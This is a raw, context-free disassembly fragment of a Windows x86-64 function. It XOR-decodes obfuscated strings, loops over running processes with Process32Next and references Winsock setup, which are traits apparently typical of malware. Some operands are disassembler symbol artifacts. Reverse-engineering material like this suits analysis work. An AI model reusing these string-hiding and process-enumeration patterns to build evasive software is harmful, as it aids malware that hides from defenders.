movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x140495550]
mov r8b, 0x6c
movdqu xmmword [rbp - 0x70], xmm2
xor byte [rbp - 0x6f], cl
xor dl, cl
xor byte [rbp - 0x6e], cl
xor r8b, cl
xor byte [rbp - 0x6d], cl
mov r9b, 0x68
xor byte [rbp - 0x6c], cl
xor r9b, cl
xor byte [rbp - 0x6b], cl
mov r10b, 0x7d
xor byte [rbp - 0x6a], cl
xor r10b, cl
xor byte [rbp - 0x69], cl
mov r11b, 0x28
xor byte [rbp - 0x68], cl
xor r11b, cl
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
movdqu xmmword [rbp - 0x80], xmm1
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0x60], dl
lea rdx, [rbp - 0x7f]
mov byte [rbp - 0x5f], r8b
lea r8, [rbp + 0xa21]
xor al, cl
mov byte [rbp - 0x5e], r9b
mov byte [rbp - 0x7f], al
movd eax, xmm2
mov byte [rbp - 0x5d], r10b
mov byte [rbp - 0x5c], r11b
xor al, cl
mov byte [rbp - 0x5b], r12b
lea rcx, [rbp + 0x200]
mov byte [rbp - 0x70], al
call fcn.140133940
jmp 0x14014f39d
lea rcx, [rbp + 0xf8]
call fcn.140135430
mov cl, 0x24
mov byte [rbp + 0xa30], 1
movzx r9d, cl
mov dl, WSAStartup
movzx r10d, dl
xor r9b, 1
xor cl, 1
mov byte [rbp + 0xa34], r9b
xor dl, 1
mov byte [rbp + 0xa31], cl
mov r8b, 0x21
mov byte [rbp + 0xa32], dl
xor r8b, 1
lea rdx, [rbp + 0xa31]
mov r11b, 0x20
mov byte [rbp + 0xa33], r8b
xor ebx, ebx
lea r8, [rbp + 0xa21]
xor r10b, 1
mov byte [rbp + 0xa37], bl
xor r11b, 1
mov byte [rbp + 0xa35], r10b
mov r9, rax
mov byte [rbp + 0xa36], r11b
lea rcx, [rbp + 0x200]
call fcn.140133940
mov cl, reloc.WS2_32.dll_WSAStartup
mov dword [rsp + 0x28], 0x3a98
movzx edx, cl
mov byte [rbp + 0xa28], 1
movzx r9d, cl
mov word [rsp + 0x20], r12w
xor dl, 1
xor r9b, 1
xor cl, 1
mov byte [rbp + 0xa2b], dl
mov r8b, WSAGetLastError
mov byte [rbp + 0xa2d], r9b
xor r8b, 1
mov byte [rbp + 0xa2a], cl
mov al, 0x44
mov byte [rbp + 0xa2c], r8b
xor r10d, r10d
lea rdx, [rbp + 0x200]
xor al, 1
mov byte [rbp + 0xa2e], r10b
mov r9d, 0x1010
mov byte [rbp + 0xa29], al
lea r8, [rbp + 0xa29]
xor ecx, ecx
call fcn.140141760
lea rcx, [0x140492100]
call fcn.1401be870
lea rcx, [rbp + 0x70]
call fcn.1401358f0
add r14, 0x20
cmp r14, r15
jne 0x14014f130
mov r12, qword [rbp + 0xa38]
lea rcx, [rbp + 0xf8]
call fcn.1401358f0
lea rdx, [rbp + 0x8a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x14014f100
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1d0]
call fcn.1401356e0
lea rcx, [rbp + 0x1b8]
call fcn.1401356e0
add rsp, 0xad8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret